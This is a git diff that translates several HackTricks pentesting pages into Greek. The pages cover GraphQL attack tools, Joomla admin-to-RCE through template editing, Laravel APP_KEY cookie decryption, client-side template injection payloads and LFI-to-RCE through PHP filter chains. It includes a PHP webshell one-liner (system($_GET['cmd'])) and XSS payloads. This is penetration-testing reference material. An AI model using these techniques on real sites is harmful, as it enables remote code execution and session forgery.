* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Μπορεί να χρησιμοποιηθεί ως αυτόνομο εργαλείο ή [Burp extension](https://github.com/doyensec/inql).
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Μπορεί να χρησιμοποιηθεί και ως CLI client για την αυτοματοποίηση επιθέσεων
* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Εργαλείο που απαριθμεί τους διαφορετικούς τρόπους **πρόσβασης σε έναν δεδομένο τύπο σε ένα σχήμα GraphQL**.
* [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Ο διάδοχος των Αυτόνομων και CLI Λειτουργιών του InQL
* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Επέκταση Burp για προηγμένο έλεγχο GraphQL. Ο _**Σαρωτής**_ είναι ο πυρήνας του InQL v5.0, όπου μπορείτε να αναλύσετε ένα graphql endpoint ή ένα τοπικό αρχείο σχήματος introspection. Δημιουργεί αυτόματα όλα τα πιθανά ερωτήματα και τις μεταλλάξεις, οργανώνοντάς τα σε μια δομημένη προβολή για την ανάλυσή σας. Το _**Συστατικό Επιθέσεων**_ σας επιτρέπει να εκτελείτε ομαδικές επιθέσεις GraphQL, οι οποίες μπορεί να είναι χρήσιμες για την παράκαμψη κακώς υλοποιημένων περιορισμών ρυθμού.
* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp extension για προηγμένο έλεγχο GraphQL. Ο _**Σαρωτής**_ είναι ο πυρήνας του InQL v5.0, όπου μπορείτε να αναλύσετε ένα GraphQL endpoint ή ένα τοπικό αρχείο σχήματος introspection. Δημιουργεί αυτόματα όλα τα πιθανά ερωτήματα και τις μεταλλάξεις, οργανώνοντάς τα σε μια δομημένη προβολή για την ανάλυσή σας. Το _**Στοιχείο Επιθέτη**_ σας επιτρέπει να εκτελείτε ομαδικές επιθέσεις GraphQL, οι οποίες μπορεί να είναι χρήσιμες για την παράκαμψη κακώς υλοποιημένων περιορισμών ρυθμού.
* [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Προσπαθήστε να αποκτήσετε το σχήμα ακόμη και με την introspection απενεργοποιημένη χρησιμοποιώντας τη βοήθεια ορισμένων βάσεων δεδομένων Graphql που θα προτείνουν τα ονόματα των μεταλλάξεων και των παραμέτρων.
### Πελάτες
@ -600,7 +607,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
* [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): GUI client
* [https://altair.sirmuel.design/](https://altair.sirmuel.design/): GUI Client
### Αυτόματες Δοκιμές
### Αυτόματοι Έλεγχοι
{% embed url="https://graphql-dashboard.herokuapp.com/" %}
@ -616,6 +623,12 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
* [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
* [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Ασφάλεια Κινητών** με την 8kSec Academy. Κατακτήστε την ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -15,7 +15,14 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
### Joomla Statistics
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
{% embed url="https://academy.8ksec.io/" %}
### Στατιστικά Joomla
Το Joomla συλλέγει ορισμένα ανώνυμα [στατιστικά χρήσης](https://developer.joomla.org/about/stats.html) όπως η κατανομή των εκδόσεων Joomla, PHP και βάσεων δεδομένων και των λειτουργικών συστημάτων διακομιστών που χρησιμοποιούνται σε εγκαταστάσεις Joomla. Αυτά τα δεδομένα μπορούν να ανακτηθούν μέσω του δημόσιου [API](https://developer.joomla.org/about/stats/api.html) τους.
```bash
@ -106,8 +113,8 @@ admin:admin
Αν καταφέρατε να αποκτήσετε **διαπιστευτήρια διαχειριστή**, μπορείτε να **RCE μέσα σε αυτό** προσθέτοντας ένα κομμάτι **PHP κώδικα** για να αποκτήσετε **RCE**. Μπορούμε να το κάνουμε αυτό **προσαρμόζοντας** ένα **θέμα**.
1. **Κάντε κλικ** στο **`Templates`** στο κάτω αριστερό μέρος κάτω από το `Configuration` για να εμφανιστεί το μενού θεμάτων.
2. **Κάντε κλικ** σε ένα όνομα **θέματος**. Ας επιλέξουμε το **`protostar`** κάτω από τον τίτλο στήλης `Template`. Αυτό θα μας φέρει στη σελίδα **`Templates: Customise`**.
1. **Κάντε κλικ** στο **`Templates`** στο κάτω αριστερό μέρος κάτω από `Configuration` για να εμφανιστεί το μενού θεμάτων.
2. **Κάντε κλικ** σε ένα όνομα **θέματος**. Ας επιλέξουμε το **`protostar`** κάτω από την επικεφαλίδα στήλης `Template`. Αυτό θα μας φέρει στη σελίδα **`Templates: Customise`**.
3. Τέλος, μπορείτε να κάνετε κλικ σε μια σελίδα για να εμφανίσετε την **πηγή της σελίδας**. Ας επιλέξουμε τη σελίδα **`error.php`**. Θα προσθέσουμε μια **PHP one-liner για να αποκτήσουμε εκτέλεση κώδικα** ως εξής:
1. **`system($_GET['cmd']);`**
4. **Αποθήκευση & Κλείσιμο**
@ -115,22 +122,30 @@ admin:admin
## Από XSS σε RCE
* [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Σενάριο εκμετάλλευσης Joomla που **ανεβάζει XSS σε RCE ή άλλες κρίσιμες ευπάθειες**. Για περισσότερες πληροφορίες δείτε [**αυτή την ανάρτηση**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Παρέχει **υποστήριξη για εκδόσεις Joomla 5.X.X, 4.X.X και 3.X.X, και επιτρέπει να:**
* _**Αύξηση Δικαιωμάτων:**_ Δημιουργεί έναν χρήστη στο Joomla.
* [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Σενάριο εκμετάλλευσης Joomla που **ανυψώνει XSS σε RCE ή άλλες κρίσιμες ευπάθειες**. Για περισσότερες πληροφορίες δείτε [**αυτή την ανάρτηση**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Παρέχει **υποστήριξη για εκδόσεις Joomla 5.X.X, 4.X.X και 3.X.X, και επιτρέπει να:**
* _**Ανύψωση Δικαιωμάτων:**_ Δημιουργεί έναν χρήστη στο Joomla.
* _**(RCE) Επεξεργασία Ενσωματωμένων Θεμάτων:**_ Επεξεργάζεται Ενσωματωμένα Θέματα στο Joomla.
* _**(Custom) Προσαρμοσμένες Εκμεταλλεύσεις:**_ Προσαρμοσμένες Εκμεταλλεύσεις για Πρόσθετα Joomla τρίτων.
* _**(Custom) Προσαρμοσμένες Εκμεταλλεύσεις:**_ Προσαρμοσμένες Εκμεταλλεύσεις για τρίτους πρόσθετους Joomla.
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Ασφάλεια Κινητών** με την 8kSec Academy. Εξασκηθείτε στην ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Υποστήριξη HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,25 +1,31 @@
# Laravel
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Υποστήριξη HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στο [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Ασφάλεια Κινητών** με την 8kSec Academy. Κατακτήστε την ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
## Laravel Tricks
### Debugging mode
### Λειτουργία αποσφαλμάτωσης
Αν το Laravel είναι σε **λειτουργία αποσφαλμάτωσης**, θα μπορείτε να έχετε πρόσβαση στον **κώδικα** και σε **ευαίσθητα δεδομένα**.\
Εάν το Laravel είναι σε **λειτουργία αποσφαλμάτωσης**, θα μπορείτε να έχετε πρόσβαση στον **κώδικα** και σε **ευαίσθητα δεδομένα**.\
Για παράδειγμα `http://127.0.0.1:8000/profiles`:
![](<../../.gitbook/assets/image (1046).png>)
@ -30,11 +36,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
Το Laravel αποθηκεύει την APP που χρησιμοποιεί για την κρυπτογράφηση των cookies και άλλων διαπιστευτηρίων μέσα σε ένα αρχείο που ονομάζεται `.env`, το οποίο μπορεί να προσπελαστεί χρησιμοποιώντας κάποια διαδρομή πλοήγησης κάτω από: `/../.env`
Το Laravel θα δείξει επίσης αυτές τις πληροφορίες μέσα στη σελίδα αποσφαλμάτωσης (που εμφανίζεται όταν το Laravel βρίσκει ένα σφάλμα και είναι ενεργοποιημένο).
Το Laravel θα δείξει επίσης αυτές τις πληροφορίες στη σελίδα αποσφαλμάτωσης (που εμφανίζεται όταν το Laravel βρίσκει ένα σφάλμα και είναι ενεργοποιημένο).
Χρησιμοποιώντας το μυστικό APP\_KEY του Laravel μπορείτε να αποκρυπτογραφήσετε και να ξανακρυπτογραφήσετε τα cookies:
Χρησιμοποιώντας το μυστικό APP\_KEY του Laravel, μπορείτε να αποκρυπτογραφήσετε και να ξανακρυπτογραφήσετε τα cookies:
### Decrypt Cookie
### Αποκρυπτογράφηση Cookie
```python
import os
import json
@ -110,17 +116,25 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2
Διαβάστε πληροφορίες σχετικά με αυτό εδώ: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρογνωμοσύνη σας στην **Ασφάλεια Κινητών** με την 8kSec Academy. Κατακτήστε την ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,22 +1,28 @@
# Client Side Template Injection (CSTI)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Υποστηρίξτε το HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στο [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Summary
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Ασφάλεια Κινητών** με την 8kSec Academy. Κατακτήστε την ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
## Περίληψη
Είναι όπως μια [**Server Side Template Injection**](ssti-server-side-template-injection/) αλλά στην **πελάτη**. Η **SSTI** μπορεί να σας επιτρέψει να **εκτελέσετε κώδικα** στον απομακρυσμένο διακομιστή, η **CSTI** θα μπορούσε να σας επιτρέψει να **εκτελέσετε αυθαίρετο JavaScript** κώδικα στον περιηγητή του θύματος.
@ -24,7 +30,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
## AngularJS
Το AngularJS είναι ένα ευρέως χρησιμοποιούμενο πλαίσιο JavaScript που αλληλεπιδρά με το HTML μέσω χαρακτηριστικών που είναι γνωστά ως οδηγίες, μία αξιοσημείωτη είναι η **`ng-app`**. Αυτή η οδηγία επιτρέπει στο AngularJS να επεξεργάζεται το περιεχόμενο HTML, επιτρέποντας την εκτέλεση JavaScript εκφράσεων μέσα σε διπλές αγκύλες.
Το AngularJS είναι ένα ευρέως χρησιμοποιούμενο πλαίσιο JavaScript που αλληλεπιδρά με το HTML μέσω χαρακτηριστικών που είναι γνωστά ως οδηγίες, μία από τις οποίες είναι **`ng-app`**. Αυτή η οδηγία επιτρέπει στο AngularJS να επεξεργάζεται το περιεχόμενο HTML, επιτρέποντας την εκτέλεση JavaScript εκφράσεων μέσα σε διπλές αγκύλες.
Σε σενάρια όπου η είσοδος του χρήστη εισάγεται δυναμικά στο σώμα HTML που έχει επισημανθεί με `ng-app`, είναι δυνατόν να εκτελούνται αυθαίρετος JavaScript κώδικας. Αυτό μπορεί να επιτευχθεί εκμεταλλευόμενοι τη σύνταξη του AngularJS μέσα στην είσοδο. Παρακάτω παρατίθενται παραδείγματα που δείχνουν πώς μπορεί να εκτελείται JavaScript κώδικας:
```javascript
@ -57,7 +63,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
```
{{_openBlock.constructor('alert(1)')()}}
```
Πίστωση: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
### **V2**
```
@ -90,6 +96,11 @@ javascript:alert(1)%252f%252f..%252fcss-images
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Ασφάλεια Κινητών** με την 8kSec Academy. Κατακτήστε την ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -1,21 +1,28 @@
# LFI2RCE via PHP Filters
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Υποστήριξη HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Intro
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Ασφάλεια Κινητών** με την 8kSec Academy. Κατακτήστε την ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
## Εισαγωγή
Αυτή η [**αναφορά**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) εξηγεί ότι μπορείτε να χρησιμοποιήσετε **php filters για να δημιουργήσετε αυθαίρετο περιεχόμενο** ως έξοδο. Αυτό σημαίνει βασικά ότι μπορείτε να **δημιουργήσετε αυθαίρετο php κώδικα** για την συμπερίληψη **χωρίς να χρειάζεται να τον γράψετε** σε ένα αρχείο.
@ -24,12 +31,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
Οι βάσεις για να το κάνετε αυτό είναι:
* `convert.iconv.UTF8.CSISO2022KR` θα προσθέσει πάντα `\x1b$)C` στην αρχή της συμβολοσειράς
* `convert.base64-decode` είναι εξαιρετικά ανεκτικός, βασικά θα αγνοήσει οποιουσδήποτε χαρακτήρες που δεν είναι έγκυροι base64. Δίνει κάποια προβλήματα αν βρει απροσδόκητο "=", αλλά αυτά μπορούν να αφαιρεθούν με το φίλτρο `convert.iconv.UTF8.UTF7`.
* `convert.base64-decode` είναι εξαιρετικά ανεκτικός, βασικά θα αγνοήσει οποιουςδήποτε χαρακτήρες δεν είναι έγκυροι base64. Δημιουργεί κάποια προβλήματα αν βρει απροσδόκητο "=", αλλά αυτά μπορούν να αφαιρεθούν με το φίλτρο `convert.iconv.UTF8.UTF7`.
Ο βρόχος για να δημιουργήσετε αυθαίρετο περιεχόμενο είναι:
1. προσθέστε `\x1b$)C` στη συμβολοσειρά μας όπως περιγράφεται παραπάνω
2. εφαρμόστε μια αλυσίδα μετατροπών iconv που αφήνει την αρχική μας base64 ανέπαφη και μετατρέπει το μέρος που μόλις προσθέσαμε σε κάποια συμβολοσειρά όπου ο μόνος έγκυρος χαρακτήρας base64 είναι το επόμενο μέρος του base64-encoded php κώδικα μας
2. εφαρμόστε μια αλυσίδα μετατροπών iconv που αφήνει την αρχική μας base64 ανέπαφη και μετατρέπει το μέρος που μόλις προσθέσαμε σε κάποια συμβολοσειρά όπου ο μόνος έγκυρος χαρακτήρας base64 είναι το επόμενο μέρος του base64-κωδικοποιημένου php κώδικα μας
3. αποκωδικοποιήστε και κωδικοποιήστε ξανά τη συμβολοσειρά που θα αφαιρέσει οποιοδήποτε σκουπίδι ενδιάμεσα
4. Επιστρέψτε στο 1 αν η base64 που θέλουμε να κατασκευάσουμε δεν έχει τελειώσει ακόμα
5. αποκωδικοποιήστε για να αποκτήσετε τον php κώδικα μας
@ -38,16 +45,16 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
**Οι συμπεριλήψεις** συνήθως κάνουν πράγματα όπως **προσθέτοντας ".php" στο τέλος** του αρχείου, κάτι που θα μπορούσε να δυσκολέψει την εκμετάλλευση αυτού γιατί θα χρειαστεί να βρείτε ένα αρχείο .php με περιεχόμενο που δεν καταστρέφει την εκμετάλλευση... ή μπορείτε **απλά να χρησιμοποιήσετε το `php://temp` ως πόρο** γιατί μπορεί **να έχει οτιδήποτε προστεθεί στο όνομα** (π.χ. +".php") και θα επιτρέπει ακόμα την εκμετάλλευση να λειτουργήσει!
{% endhint %}
## How to add also suffixes to the resulting data
## Πώς να προσθέσετε επίσης επιθήματα στα παραγόμενα δεδομένα
[**Αυτή η αναφορά εξηγεί**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) πώς μπορείτε να εκμεταλλευτείτε ακόμα τα PHP filters για να προσθέσετε επιθήματα στη συμβολοσειρά που προκύπτει. Αυτό είναι εξαιρετικό σε περίπτωση που χρειάζεστε την έξοδο να έχει κάποια συγκεκριμένη μορφή (όπως json ή ίσως προσθέτοντας κάποια PNG magic bytes)
[**Αυτή η αναφορά εξηγεί**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) πώς μπορείτε να εκμεταλλευτείτε τα PHP filters για να προσθέσετε επιθήματα στη παραγόμενη συμβολοσειρά. Αυτό είναι εξαιρετικό σε περίπτωση που χρειάζεστε την έξοδο να έχει κάποια συγκεκριμένη μορφή (όπως json ή ίσως προσθέτοντας κάποια μαγικά bytes PNG)
## Automatic Tools
